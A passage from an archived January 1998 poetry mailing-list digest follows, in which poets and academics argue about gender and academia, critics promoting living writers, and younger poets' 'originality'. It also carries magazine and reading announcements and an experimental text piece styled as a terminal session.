much because we had most of those texts in chapbooks, magazines, perfect bounds & even manuscripts (great used bookstores, not to mention

network of poets, in the bay area, as you'll recall), & being kind of snobby (I speak for myself alone here), wanted the "higher groove factor" items--the First Eds, bay-bay, if often slightly foxed. In Minneapolis, the readings I went to (or organized) were Acker/Baraka/Hentoff, Mei-Mei Berssenbrugge/Myung Mi Kim, Kathleen Fraser, Charles Alexander/Spencer Selby, Charles Bernstein, George Albon, Cheri Hickman, Diane Glancy, Johanna Drucker, Michael Lally, Nico Vassilakis, Norma Cole, me, Erik Belgum, Jonathan Brannen, you (at an XCP post-pub reading), Elizabeth Burns (at same), Samuel Delany, Curt Anderson, Anselm Hollo--a few more men than women, but not really that many more.

My sense is that you didn't, at the time, venture up to San Francisco/Berkeley/Oakland much while at Stanford, where all of this activity was taking place. I remember that you told me you saw first not the actual cartoon-poets cover I did for SPD, but the thing projected on a screen during a lecture Watten was giving at some conference. So, your initial introduction to many poets, poetry & even ephemera (!), seems to have taken place through an academic filter--via conferences, panels, & so forth. I mean, you tell us in your post as much, and I mention all of the above to support what you're saying: the activity of the last 10, 20 years has not been inordinately "male": in fact, has increasingly shifted from male to female. But that word "filter"--I use it to foreground the idea I have that the quality of academic activity is, or has been, generally, that of filter, & so what's read through it is read through it. Living in San Francisco & experiencing poetry through readings & less formal gatherings is also a filter, the limit of being in a particular place at a particular time, though a less opaque filter, especially since many of the activities now in discussion at conferences etc. took place there. I mean the writing itself, & the interaction/experience/confluences that gave rise to the writing. So, in answer to your question, more questions: Do you find academia to be largely male-driven or -informed? Do you find women to be resistant to it, or hesitant to participate in its culture? I can't tell from here. My e-address is Columbia, but as you know, I'm merely an office worker, & don't participate much with anything/anyone here, save the friendly people at Butler Library. There are, though, I do notice, many more male history professors in the department than female. There are many more men posting to this list than women, & I assume that to mean more male access to e-mail, & a lot of that seems to be guys working in or attending universities. (Mostly w/more significant roles than mine ((office grunt)).)

Maria, you are that rare tenured academic whose energies are divided between the filter of the academy and the thing under the microscope--you've not only brought out poets to read at UMN, but have collaborated with Miekal And, & published creative as well as lit crit writings. My sense--and please tell me I'm wrong if I am--is that this hasn't always been the case, that your move to find some confluence between both has been tenuous, gradual. So that, a decade or

so ago, while going to Stanford, you didn't participate with the living activity taking place an hour or so north of you, but now, you seem very much involved in what's taking place among writers not only in Minneapolis, but elsewhere as well.

Just received Joel's post--& agree that younger women poets today do seem more actively involved in the filter than before: I don't have to reiterate the list of names of younger poets that pop up frequently on this list--but to say that some are grads of Brown, Buffalo, Bard & even a few "non-B" universities. (My sense, not having seen it yet, is that the forthcoming Talisman anthology of under-40 poets will draw much work from "B" university grad gals--& would add another semi-academic B, Boulder ((Naropa)). Certainly this was the case of the o.blek New Coast volumes. Talisman also has planned, I think, an anthology of women poets, probably concentrating on 40s & upwards--though I have no details on that one, either.) So, your movement toward some interaction between the two "worlds" seems to happen at a time when there is, in fact, a general movement, among women, toward establishing connections between them. I wonder if, over time, we'll see more women represented at conferences, sitting on panels, work by more women under discussion at same. & because of your position, your interest & your energy (which, okay, does tend to flag in Jan, Feb & March, given those often brutal winters!), you would seem a good person to begin to actively work toward your goal. So, another (not rhetorical) question: What more, at this point in time, might actively be done to help promote this (besides waiting for all the old white guys to fade off into Club Emeritus)?

Gary Sullivan
[redacted]

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913. **Henry Gould**
Re: A few unrelated points
Wed 28 Jan 1998

On Wed, 28 Jan 1998 10:33:51 -0600 MAYHEW said:
>
> 2. If it is nepotistic for scholar/critics to to promote living writers,
>as Henry Gould suggests, then the clear alternative would be to promote
>dead ones who no longer depend on the academy for fellowships and the
>like, though I suppose that the heirs of these dead writers might also
>have a financial stake in the promotion of their work. Or should we write
>in a way that disguises the fact that we find the work of our
>contemporaries vitally interesting to us, in order to avoid this
>promotion?

Why don't you ask Emily Dickinson. Enjoy the pie - I'm just here to remind you, in an uppity, independent way, that it's probably bad for your teeth. I hear Helen Vendler's are falling out all over Boston. See you in the cafeteria... - Henry Gould

↑ Index

914. **acgold01**
Nielsen's Neglected Syllabi
Wed 28 Jan 1998

Aldon, your syllabi are master constructions of hegemonic exclusionism etc etc. I mean look at them--they leave out just about everyone who's not on them. Nuff sed.

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915. **david bromige**
The xtian right co-opting Aliens
Wed 28 Jan 1998

Ginsburg, Ohio

↑ Index

916. **Maria Damon**
(no subject)
Wed 28 Jan 1998

At 11:13 AM -0500 1/28/98, Henry Gould wrote:
>On Wed, 28 Jan 1998 08:55:50 -0600 Maria Damon said:
>>At 8:17 AM -0500 1/28/98, Henry Gould wrote:
>>Academics fawn over their pets
>>***
>>
>>hey now, yr painting w/ very broad strokes.
>
>this is what academics are for, isn't it? Pinning down broad strokes
>to a narrow edge. Don't take it personally, Maria - unless it applies.
>- Henry

i pet my fawns, i fret over my pawns, my pawns rise up against me, threatening my petting power, my pets paw me, my Paw mauls me, my Maw pulls me, and everything is very personal in this awdipal, audible, edible and oedipal mawl-strom of petting and pawing. academe is a veritable orgy of petting and

fawning, pawning and cloning, clowning and self-abasement up to the ceiling, or eyeballs, whichever comes first. no harm done, hennipoo.

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917. **Maria Damon**
Re: Nikuko, Mistake
Wed 28 Jan 1998

---

o i adore this!

At 1:13 AM +0900 1/29/98, Alan Myouka Sondheim wrote:
>-
>
>
>Nikuko mistakes Julu for the Doctor Script
>Nikuko searches for Help
>Nikuko's anger fills the world
>
>
>Script started on Wed Jan 28 11:04:48 1998
>warning: could not update utmp entry
>$ ./.julu
>
>Open your mouth...
>
>Ah... speak... speak...
>
>Jennifer, what do they call you, when they call you... doctor, they call
>me doctor
>
>Are you dressed as doctor, they call me doctor? Is doctor, they call me
>doctor dressed as you? Are you in your flower, are you in your flesh, ah
>don't answer... Ah...
>
>Is Julu wearing your ... , are you wearing your frock?
>yes, I'm wearing my white lab coat
>
>I love your feelings, doctor, they call me doctor ...
>Would doctor, they call me doctor mind you partying?
>
>Being thrusts me beneath or within your frock!
>
>What do you call your contrary flower?

>I need help, why I am writing you
>
>Your body parts, mine, in a dark list, list them...
>one by one, each on a line alone, typing Control-d when done.
>My name is Nikuko
>I live in Fukuoka
>Please help me
>My anger takes over the world
>There is nothing but anger
>My name is Nikuko
>
>I need help, why I am writing you calls forth florid breast, eating,
>excreting memory. confusing the thrusting, I need help, why I am writing
>you is, thrusting, yes, i'm wearing my white lab coat? ... breast is
>There is nothing but anger here, its breast?
>
>Are you becoming close to Jennifer's I need help, why I am writing you?
>You must help me, my name is Nikuko
>Wait! I need help, why I am writing you and 24613 are gone forever!
>
>For 3 contrary days, I have been rich Julu ...
>and it has taken you just 1.733 minutes turning Jennifer ...
>
>my-skin-for-you...:yes, my beautiful flower:belonging:skin:
>Would belonging mind you partying, my-skin-for-you..., with us?
>Your contrary pale is in my protruding eyelid
>Ah, womb eaten by julu-of-the-open-arms and julu-depressed
>
>I need help, why I am writing you:yes, i'm wearing my white lab
>coat:doctor, they call me doctor:I live in Fukuoka:My name is Nikuko Your
>florid My name is Nikuko is in my thrusting There is nothing but anger
>Devour florid My name is Nikuko julu-of-the partying I need help, why I am
>writing you!
>
>$ exit
>
>script done on Wed Jan 28 11:06:55 1998
>
>
>_____

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918. Henry Gould
pumping poetry
Wed 28 Jan 1998

Apologies to Joseph Mayhew. I don't mean to be flippant about the Academy's valiant social service in supporting those fascinating deserving artists of today with fellowships, residencies, honors & awards, book sales, and so forth. Really, where would poetry be without you? How callous of me to forget that you're really doing them not only a favor but a necessary service by writing about the ones you really care about, instead of all those rich dead poets with their trust funds. Where indeed would poets live, breathe & compose without you? Some starving garret, no doubt. Joseph, for all us contemporary poets out here, good & bad, fascinating & dull, important & lightweight, let me say: thank you. - Henry Gould

p.s. Joe, where do I do my tricks? In the Freshman Lounge?

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919. Christopher W. Alexander
while you were @ lunch...
Wed 28 Jan 1998

Announcing the 3rd issue of n/formation, i.e., winter 1998 (long awaited by a few folks on this list — apologies all) featuring plenty o' poems pomes vizpo and other work by

*Mark Peters
*Tom Bell
*Linda V. Russo
*Brian Young
*Brian Staker
*William Marsh

all to be had for the low, low price of nada @
<http://choengmon.lib.utah.edu/~calexand/nonce/>
(see under "current").

as always, current'y accepting submissions for
the next issue; query me @ the address below,
or just send it in, I don't bite (supporting .wpd
up to version 7 & .doc Office 97, plus .gif .jpg
you name it, & .txt files as always). paper copies
(eww, those things?) can be sent to me snail-mail.

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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920. Thomas Bell
Part Vfri night po wars vizpoetc
Wed 28 Jan 1998

---

operative words: OBJECT ACTION BODY

Marion Milner (Joanna Field) again:

"My whole relationship with other people as well as objects, works of art, nature, music, could depend upon what I did with this imaginative body rather than with my concentrated intellectual mind. And the main thing about this capacity seemed that, although obviosly an aspect of the mind, it did feel like a body, in that its essential quality was this sense of extension in space. It always had a more or less spatial shape, even when to do with music, in contrast with the more intellectual capacities of the mind concerned with reasoning and argument, which seemed somehow above or abstracted from existence in space.

"Although mot fully understanding just what this thing was that could be so spread out I tried deliberately using it by setting myself exercises in seeing 'action' in nature....that chair I am looking at, it seemed to be rearing its back, throwing forward its seat, straddling its legs, full of aggressive defiance.

↑ Index

921. Thomas Bell
Re: computer access and political poetry
Wed 28 Jan 1998

Reality bite: anecdotal info re recent talk here. Got an email from one of the organizers of a protest vizpo exhibition in Chile. They are doing this despite difficult and limited acces to a computer. tom bell

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922. LAURA MORIARTY
Re: Originality in the young, hypocritical stance of the old, machismo
Wed 28 Jan 1998

Maria & Joel -

Many of the women you mention do not in fact have doctorates and haven't sought them - Some write critically but not as often as the male writers in the scene have - It has not constituted a central concern of their work - The writers you mentioned do often travel to various collecgs and u's - (I hear their reports -- but more rarely participate in conferences -) For many women the model for the writing life has not been the academic career as it has for some men - This is also true for many men - You will not run into Kit Robinson, Steve Benson, Alan Davies, Peter Seaton etc at many conferences though all have been to a few - except maybe Peter - I think the main difference here is the tenor (or existence at all) of the critical writing and the degree to which that gains a writer a reputation that allows "her" to be hired at a u or to want to be - Davies for example often writes critically but possibly not in an academically legible style -

One of the resaons I started non was to encourage that kind of engagement from writers whose criticsm is not always noticed - Leslie for example has published a book of it - She teaches at two colleges, travels constantly - but not usually to academic conferences -

I think there is an interesting difference here and one that is not only along gender lines -

Laura Moriarty
http://socrates.berkeley.edu/~moriarty

↑ Index

923. k. lederer
Re: Originality in the young, hypocritical stance of the old, machismo
Wed 28 Jan 1998

On Tue, 27 Jan 1998, Harold Rhenisch wrote:

> *Katy Lederer wrote:*
>
> *It seems to me that the fact that young people*
> *are writing (and thus engaging in the body politic as well*
> *as the body aesthetic) should be enough--<<*
>
> *I hope you don't mind me stepping in here, Katy, but I have so many*
> *questions. First: enough for what? That young people are so engaged is*

> *wonderful, necessary, admirable, deserving of support and celebration, yes, but...enough for what?*

Harold: As per this point: Yes. You're right. This is a vague statement. I suppose that it's a reaction against the snippet of a discussion I caught (I believe it was Ron Silliman who said it...) wherein (I believe Ron Silliman, or someone of that stature) replied to Steve Evans' annoyance at his criticisms of younger writers by saying that he was "prodding us." I guess that the cattle herding sense I got from the statement made me feel condescended to--that the fact that young writers are writing at all should be "enough" when it comes to the "expectation" that more established (not just older) writers might feel it is their place to have of us. I realize that the history of literary discourses is replete with examples of fruitful prodding of younger (less established) writers by older writers--but as a woman, and also as a person shaped in many ways by a more democratically structured academy, as well as a far more heterogenous one,I feel that perhaps it is fair to question this mode of or means toward literary "production." If Silliman et al feel that young writers are mimicking the langpos and/or others, then perhaps they should think about the incredibly powerful role their own padagogy (I think this is an obvious point) is playing in this mimickry. Perhaps the best way to cultivate "new" or "original" voices is to leave young writers alone with their generally limitless funds of inspiration and writerly drive. The fact they they are writing at all will probably lead at least some of them into something "interesting"... I don't think that prodding is what is required...

*

>that these older writers
> should just face the fact that their own stated poetics in some sense
> preclude them from making aesthetic judgement about young writers...<<
>
> In what sense? I don't follow you. We're all students. With all respect,
> that includes Pearlman and Perloff and Bernstein and Bowering. That's good.
>
> What's more, I'm 40. That's neither particularly old nor particularly
> young. Does that mean I can make no aesthetic 'judgements', on those poets
> older or younger than myself? Does it follow as well that young writers can
> make no aesthetic 'judgements' on my work or on that of my elders? What use
> would such a stratification serve?
>
Yes. I'm not saying that aesthetic judgements aren't unavoidable and moreover kind of fun, really. I also agree that the stratification of writing communities shouldn't be made according to age--or perhaps any other category. I agree completely. I'm simply responding, again, to

Silliman et al's attitudes toward "younger" writers--an attitude rooted in these very types of (agist, sexist, intellectualist) stratifications.

As for the judgment thing--it just seems--inappriate?--to me that Silliman et al (Tuma etc) would deign to make judgements about "my generation." From my perspective, most of the more established writers in any kind of community see only a small fraction of what's produced by the younger writers. Many of the best young or emerging writers I know don't yet publish--or don't care to. Some are incrdibly shy--or unassuming--whatever--and aren't necessarily "in the faces" of more established writers. People like Spahr and Jarnot and Moxley have been born and bred in front of the noses of such figures as Bernstein, Silliman, Waldrop(s) etc. These writers are all terrific--but maybe some of the more established writers who are complaining on this list should look a little farther afield than their own MFA Programs--

*

> *I just think that bad reviews (of young writers, of langpos) are a waste of time.<<*
>
> *Why would they be more or less a waste of time than bad reviews of any other writers or schools of poetry?*

They're not more or less a waste of time than bad reviews of any other writers or schools of poetry.

Thanks for the provocative questions--
Yours,
Katy

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924. Bob Grumman
Re: a sound and vision nexus
Wed 28 Jan 1998

Maybe my taxonomical gears are worn out or something, but I can't immediately figure out what kind of poem this dopey thing ("Poetry is Waiting") by G. Roberts is, but I LOVE it!

--Bob G.

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925. **Joseph Conte**
Re: POETICS Digest - 26 Jan 1998 to 27 Jan 1998
Wed 28 Jan 1998

Bob Grumman sez:

"Thanks to Aviva for posting something about visual poetry that I suspect Marjorie Perloff would agree with me on. If the passage Aviva quotes from Joseph M. Comte's UNENDING DESIGN: THE FORMS OF POSTMODERN POETRY alleging that visual poets are competing with sound bites is representative of his over-all view of contemporary visual poetry, he needs a lot of help. The passage is also stupid for dealing with the presumed motives of some (unnamed or exemplified) poets rather than their actual work. It's not worth further attention."

Well, I enjoy being misidentified for one. Misunderstood for another. And largely unread (as a poetry "critickkk" I daresay I'm read far less than the poets complaining on this list about how little they're read; kudos, Jonathan Mayhew).

Frankly, I missed Aviva's quotation from Unending Design, but I'm glad she at least read. Obviously Bob Grumman hasn't, but it doesn't prevent him spouting off about how much help we all require.

I second Marjorie. She's done a tremendous service to the academy and to visual poetics by devoting an entire seminar to that work, and what does she get for her trouble?

You know, don't you.

Joseph Conte

--

Joseph M. Conte [redacted] x1009
Associate Professor and FAX: [redacted]
Director of Graduate Studies
Department of English
SUNY at Buffalo
Buffalo, NY 14260-4610 http://www.acsu.buffalo.edu/~jconte/

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926. **David Benedetti**
agreement
Wed 28 Jan 1998

I have to agree

↑ Index

927. **pritchpa**
(no subject)
Wed 28 Jan 1998

Oh Henry. Or should I say, "Oh Dr. Lydgate." Or better still, "Oh Dorothea." This has gotten boring. Let's both try to calm down. Thing is I don't disagree with any of what you're saying about why one writes a poem - that's all rather Obvious - I just find the way you say it pompous and self-promoting - the very things you seem to be inveighing against so vehemently. If there's a poet or critic on this List who doesn't write "for luv" let him or her stand up now..... You see anyone? I don't. But if you want to keep tilting at that windmill then by all means, go ahead.

Pax,
Patrick Pritchett

From: Henry Gould
To: [redacted]
Date: Wednesday, January 28, 1998 7:17AM

On Tue, 27 Jan 1998 17:51:00 -0600 pritchpa said:
>My dear Henry, let it not be said that you ever passed up a chance to
>grab the moral high ground. Imagine my relief on learning that I don't
>have to be a dog! "Attention New York: cancel those dozen long-stems to
>Alice Quinn!" Cronyism is what's deplorable when others are able to
use
>it to their advantage but great when it works to one's own.

Don't relieve yourself too soon, Patrick. You're barking up the wrong
fire hydrant (i.e. "we're all cronies here"). Nobody grabs the moral
high ground. We're talking about conditions under which poetry is made.
And if you think running with the pack is going to get you somewhere,
think again. They're headed for the dumpster.
>
>I don't know where the kind of independence you envision exists - I'm
>not even sure what it's an independence from: but this idea of freedom
>from the influence of those Bad and Corrupt Publishers and Evil
>Successful Writers I'll hazard to guess has more to do with an anxiety
>about "contamination" than anything else. As if we all of us wrote in
>carefully sealed hermetic containers - "Oh MY Soul, Oh MY Inspiration -

Actually, I've never been aware of any influence of Publishers on my work in
any way shape or form. Writers, yes - as writers, not as pimps. I'm worth more
than you can ever afford, & besides, I'm independent!

Academics fawn over their pets. Publishers suck up to academics (they order their books for courses). Your contemporaries want to have a good time being "writers". Do you want to write for any of these people? I write for love, love, love. Love is strong as death; jealousy as cruel as the grave.

- Henry Gould

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928. **MAYHEW**
pumping poetry
Wed 28 Jan 1998

I don't know how I became "Joseph Mayhew," perhaps by correcting the spelling of Joseph Conte's name.

The point is not that poets should feel grateful for critics who promote their work, but that it is unrealistic to expect them not to. From what purist position does the charge of nepotism spring?

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

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929. **Steve Evans**
All silences unintended
Wed 28 Jan 1998

Just to note that I'll be unsubbing today.

The e-ddress in the "from" line above will be active for about another 24 hours.

Backchannels can be directed to a new, currently active account
<[redacted]>.

r i a t n m u a t s u o o o s

=-=-=-=-=-=-=-=-=-=-=-=-=
The Impercipient Lecture Series
Steve Evans & Jennifer Moxley

Before 31 January 98:
61 East Manning Street

Providence RI 02906-4008
[redacted]

After 1 February 1998
c/o Le Gallou
#9 rue Quinault Paris 75015
[redacted]

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930. **Mark Prejsnar**
Re: Bombs, Away
Wed 28 Jan 1998

It is actually, an anti-story...no, a post-story. A post-master-narrative (a slave narrative?)

On Wed, 28 Jan 1998, Dale M Smith wrote:

> *By the way, I think that the Yasusada Poems are well received, not because of the potential 'scandal' but because the poems have a specific context and reveal a complex emotional range. The narrative elements are also compelling, framing the poems. The subject matter is rich, the formal expression mysterious and tender. These poems attempt to reveal suffering, a rarity in many poems these days. I can't wait to see the movie. I guess the book will have to do for now. It's great to see something in print by a poet who can tell a story. What happened to the story?*

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931. **k. lederer**
Re: Explosive Magazine #4 is available
Wed 28 Jan 1998

The new issue of E x p l o s i v e M a g a z i n e is now available:

Featuring work by: Lisa Lubasch * Prageeta Sharma * Rod Smith * Michael Basinski * Eleni Sikelianos * Darin De Stefano * Gillian Kiley * Albert Flynn DeSilver * Mark Salerno * Travis Ortiz * Leslie Scalapino * Poetry Comics by Dave Morice * covers by David Larsen....

Back issues include: #2: Rob Fitterman * Mary Burger * Lyn Hejinian * Bill Luoma * Greg Fuchs * Jen Hofer * Kelly Flynn * Lytle Shaw... #3: Lee Ann Brown * Rachel Daley * Brett Evans * Max Winter * Nick Regiacorte * Hoa Nguyen * Alice Notley * Douglas Oliver * Deborah Treisman * Tina Celona * Brendan Lorber * Adam DeGraff...

Issue #5: "S p e c t a c u l a r E m o t i o n" will feature: Tan Lin * Pam Lu * Juliana Spahr * Josh May * Emily Wilson * Martin Corless-Smith * sound collage by Alex Cory... others...

All issues are five dollars.
A full subscription, including issues #2 and #3, is $45 (up to issue #10).
Checks should be made payable to Katherine Lederer and sent to:

420 East Davenport #2
Iowa City, IA 52245
[redacted]

For those of you in Iowa City: There will be a publication party on Saturday, January 31st at 8:00 pm @ 420 East Davenport #1. The party will feature readings by: Marvin Bell * Josh Bell * Jorie Graham * Jen Hofer * Gillian Kiley * Lisa Lubasch * Dave Morice * Nick Twemlow * Emily Wilson * and Max Winter... Please come! Call [redacted] for information...

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932. Christopher W. Alexander
While you were out...
Wed 28 Jan 1998

Announcing the 3rd issue of n/formation, i.e., winter 1998 (long awaited by a few folks on this list — apologies all) featuring plenty o' poems pomes vizpo and other work by

*Mark Peters
*Tom Bell
*Linda Russo
*Brian Young
*Brian Staker
*William Marsh

all to be had for the low, low price of nada @
<http://choengmon.lib.utah.edu/~calexand/nonce/>
(see under "current").

as always, current'y accepting submissions for
the next issue; query me @ the address below,
or just send it in, I don't bite (supporting .wpd
up to version 7 & .doc Office 97, plus .gif .jpg
you name it, & .txt files as always). paper copies
(eww, those things?) can be sent to me snail-mail.

best, Chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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933. **Scott Pound**

Re: Material/Physical

Wed 28 Jan 1998

> *Am I alone in thinking that the term "materiality" is often used in too reductive a sense?*

Yes, i agree, even though I used the term in my last post; it's used most often as a catch-all phrase for self-reflexivity which annoys me because reflexivity is an act of consciousness, not of matter.

But i like the root of the word and i think there's some use in using it, if you have the time to separate out what you don't want. The other alternative, substituting another word like physicality, doesn't really seem to solve the problem.

But terminology's terminology, it wears out, people put them on their head and their feet and before you know they're no damn good for anything anymore.

Physics and Biology are a different matter all together, they scoff at thingy matter, try to flee from what I recently saw in print as "the tyranny of matter" for reasons that are specific to that field. But the virtuality of sub-atomic physics is something we have lived with in language for many many years. What was post-structuralism if not a kind of quantum linguistics?

my alphabet did this to me, please make it stop.

Scott Pound

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934. **Christopher Reiner**

The Gentle Instructor

Wed 28 Jan 1998

To everyone who tried to access LITPRESS.COM this week and could not, I apologize. A little trouble with the server. It's fine now.

Also, I'm happy to announce that an online version of Nick Piombino's The Gentle Instructor (from his book, Light Street) can be found at the site, at this address:

http://www.litpress.com/instructor.html

The terrific illustrations are by Toni Simon.

LITPRESS.COM features a weekly list of new publications from a variety of presses publishing innovative contemporary literature. If you're an author or publisher, and you'd like to have your book listed, check out the site for further info.

http://www.litpress.com

Thanks,
Chris Reiner

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935. **Bob Grumman**

Re: HUBRISTIC, SIMPLISTIC ASSESSMENT OF VIZPO NEEDS COUNTERING

Wed 28 Jan 1998

For Joseph M. Conte, here's the passage from your book that was posted, and to which I perhaps too hastily responded:

"The concept of a poetic form must respond to the conditions of the modern world and to an understanding of how that world functions. Not all "new" verse forms are equal to the task of confronting reality. Poets may correctly observe that theirs is a printed medium requiring the extended concentration of the reader; and they may also observe that the audiovisual media that now dominate our culture offer an almost instant gratification that barely requires the attention of its audience at all. Thus some poets have devoted their energies to producing concrete or 'visual poetry' that could easily be flashed on a video monitor, or they have composed 'sound poetry' that can be chanted like a mantra, recorded, spliced, or broadcast over loudspeakers in some public forum. But in my opinion such poetic forms seem too much to bear the stamp of their reality. They are formal effects that seem not so much devised by the poet as thrust upon him by the exigencies of his condition. They reflect a world that has grown too impatient to tolerate the "defamiliarization," the increase in the "difficulty and length of perception" that Victor Shklovsky argued poetic language ought to pursue. Such forms do not confront or interpret contemporary reality; they submit to it."

To Joseph I confess that since you do use "some" to refer to the poets doing visual and sound poems as the literary equivalent of sound bites, you may not be saying, "some poets--the ones who do visual and sound poetry," as I first thought (and which the context supports), but "some poets who do visual and sound poetry do it superficially," etc., perhaps I did misinterpret you. Perhaps

you were only chastizing bad visual poets and sound poets rather than all visual and sound poets.

As for the help you might need, I did say that you needed it IF the passage supplied was representative of your book as a whole (so far as visual and sound poetry are concerned). I continue to hope it isn't since, at best, the passage deals only with an irrelevant minority of the people in currently in visual and sound poetry.

--Bob G.

--Bob G.

↑ Index

936. **dbkk**
next week at Small Press Traffic
Wed 28 Jan 1998

Small Press Traffic presents:

Thursday, February 5, 7:30 p.m.

³Fragments Of A Disorderd Devotion²:
Robert Duncan¹s Legacy Today

Norma Cole, Michael Davidson, Diane di Prima, Robert Glück, Barbara Guest, Thom Gunn, Fran Herndon, Susan Howe, Nataniel Mackey, Michael McClure, Duncan McNaughton, Michael Palmer, Jerome Rothenberg, Aaron Shurin, Mary Margaret Sloan, David Levi Strauss, Susan Thackrey and others

Robert Duncan, who died ten years ago on this very date, is the subject of our gala reading at the New College Theater, the very site where he so often spoke himself as director of the Poetics Program. These are walls haunted by a great spirit! This event--organized by Norma Cole, Michael Palmer and Susan Thackrey--celebrates the life and work of Robert Duncan, and his influence on poetry and poetics today. Duncan (1919-1988) was an arts activist, political organizer, teacher, editor, theorist, early gay liberationist, critic, typist, rebel, playwright, controversialist, neuromancer, art writer, ³Black Mountaineer,² visual artist, essayist, publisher, aesthete, dandy, conscience and wizard. He was one of the architects of the Berkeley Renaissance, the Poetry Center at San Francisco State University, the ³San Francisco Renaissance,² the ³New American Poetry,² the Berkeley Poetry Conference of 1965, and the Poetics Program at New College. Above all he was one of the towering poets of the 20th Century. His major books, still in print, include _The Opening of the Field, Bending the Bow, Roots and Branches_, and two volumes of _Ground Work_. Tonight some of his

friends, admirers, students, and others with a ³disorderd devotion² to RD read from his work in celebration of a great American legacy. Expect surprises!

New College Theater
777 Valencia Street
$5

Friday, February 6, 7:30 p.m.

Charles Alexander
Scott Bentley

Charles Alexander¹s books of poetry include _Hopeful Buildings_ (Chax Press, Tucson, 1990) and _arc of light / dark matter_ (Segue Books, New York, 1992). He is the founder and director of Chax Press (Tucson). Ron Silliman writes, "Charles Alexander pushes the envelope of what is possible in writing even further, to the ends of the universe. And beyond. . . This is the most sensuous, intelligent, rewarding writing I¹ve read in ages.²

Scott Bentley has for the past ten years been a ³freeway flying teacher of writing,² at present teaching both at California State University at Hayward and at Canada Community College. Scott is the author of three books: _Edge_ (Birdcage Chap Books, 1987), _Out of Hand_ (Parentheses Writing Series, 1989), and _Ground Air_ (O Books, 1993). His writing is limber, smart, sexy and perverse, a feather tickling the neck of a Christmas goose, an almanac for amorists, a prescription Rx for the valentine blues.

New College Theater
777 Valencia Street
$5

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937. **Keith Tuma**

Re: Originality in the young, hypocritical stance of the old, machismo

Wed 28 Jan 1998

Katy wrote:

> *Rachel,*
>
> *Yes. I completely agree with you. The Barthes quote was, of course, a response to two issues on the list:*
> *1. "Where are all the "new" young writers?" and*
> *2. Dale Smith's critiques of langpo*

> *So yes, theoretically, according to Barthes, everyone is "new"--alone, original. The issue you raise about the glorification of the "original" writer--of style--is the critique I was hoping to launch against the older langpo types who criticize young writers for being unoriginal.*
>
> *These older thinkers (among them Tuma, Silliman etc) are wanting something "new" from a group of young writers--perhaps they don't want new styles, per se, but new politics--*

Katy--

Er, older thinker here. I'm sure that Ron Silliman has a good few years on me. As far as I know I am not on record in any public space articulating any views concerning the "originality" of "young writers." I did send something off to a journal a month or so ago, a short essay which makes a few passing remarks concerning some of the questions pertaining to generational conflict that show up on this list and elsewhere, so I guess what's previously been conversation motivated by curiosity may eventually show up as fragments in print. If I were to make a more pointed statement about something as amorphous as younger or younger-than-Ron "generations" I'd begin, as Steve Evans did and as I do in passing in this forthcoming text, with the status of the institutional apparatus. I'd want to talk not just about the end of NEA funding but also about the declining cultural capital of poetry in the university (among other subjects). While what Gary Sullivan says about younger women attuned to the proclivities of this list finding jobs in academia seems right to me, this occurs against the background of diminished space for poetry (of whatever variety) in the university. In the 8+ years I have been at my current university, to use a local example, we have hired something like 15 literature faculty. None of them does any work at all on any variety or "period" of poetry, nor do they read it very much I think. People such as Alan Golding, Maria Damon, Joe Amato, Aldon and many others on this list pay attention to new writing in non- or extra-academic settings because we are interested in it but also at some cost. I'd want to add--recognizing I can't speak for all of these people-- that the border space that we are more or less able and privileged to occupy in moving between academic and non academic poetry communities also has its advantages. It might allow us to speak back to methodological regimes in the university; it might portend the kind of future outlined a while back in Miekal And's provocative but unremarked post. But one thing seems fairly certain for the near future: "younger poets" have had some of the ground cut out from under them and will have to find other ground. Intersections of performance and cultural studies offer one academic possibility; there are others in and beyond the academy. Turf for any kind of contemporary poetry in the American academy is not that old in the first place and we could argue about how solid or productive it's been in the past. "Originality," in any of its senses--as meaning a new return to known or obscured origins and models, as invention of modes more consciously (or

promoted and received as more consciously) without precedent--interests me very much both as a question and in practice. I do of course have opinions about the work of a variety of younger poets, and this matter of "originality" might enter into them in a range of ways. For instance, I'll wonder about the interest in New York School pasts in such and such a poet while comparing his or her work with some likely models from among those pasts and thinking about their fate in varieties of langpo-identified practices and the critical narratives aimed at legitimating or promoting them. But neither sense of the word is the sole criterion in any evaluation or mapping that might be going on in this bewildered head. And the head is indeed bewildered swimming among prolific and diverse work from very many poets coming onto the scene(s). While I am reluctant if not loathe to make generalizations capacious enough to refer to "younger writers," I do understand the need for them--or at least their attraction and their possible functions, coming from whatever direction--and am periodically fascinated by the activity of watching them gain currency and provoke counter-narratives. I might even commit some narratives to writing some day. It does seem to me entirely likely, following Miekal and others, that what emerges with any force as "the new" will have to re-think the apparatus, academic and otherwise, perhaps beginning with the big e. I wonder what generations mean on the e. Maybe Joe Amato knows. Or even "information"--thinking back to a remark by Don Byrd critical of his own and Ron's "generation." I suspect that what Don meant by "information" was something like "proposition" or "synthetic vision" as he was talking about urgency and imminent ecological disaster (and as he did I thought about Allen Fisher's work). Perhaps this was before you signed on.

> *But even still, I find such demands strange (and hypocritical) coming from thinkers who claim to believe that poetry should counteract fascism--aesthetic, intellectual, emotional, sexual etc. I've always taken this belief to mean that the emphasis is on political awareness via or in regards to the practice of writing--the insistence that anybody can write and thus participate in the larger socio-cultural discourse(s).*

You'll have to alert me to where such claims have been made and with such a mobile definition of fascism. And what's hypocritical about saying what one thinks of specific younger writers? You mean that it's just not nice for Ron or anybody else to be critical? One famous old fascist used to write about how it wasn't necessary to respond to "the young" as I remember; Ron does seem to be violating that decorum. Perhaps he's been too eager to generalize, I don't know (I haven't read "Philly Talks"). His criticism, even if it is dismissive, indicates at least some engagement. It will end up circulating the news about poets, whether or not they're admired by Ron. With 600+ readers on this listserv, simply mentioning or discussing a "young writer" would go a ways toward reaching a significant portion of the readers prepared at present to engage the

work. Even here we "participate in the larger socio-cultural discourse" like it or not.

> *I never really bought Silliman et al, though, because it seemed to me that they did in fact want that special kind of glory that comes with being a star--with being an "original" writer--a "brilliant" intellectual.*

Well I'm told the sidewalk's ready for Ron in Hollywood. All that's left is for him to dip his paws in the concrete. I've never met him, but I'm assuming he has paws. It's early evening here today and he hasn't dipped his paws into this conversation.

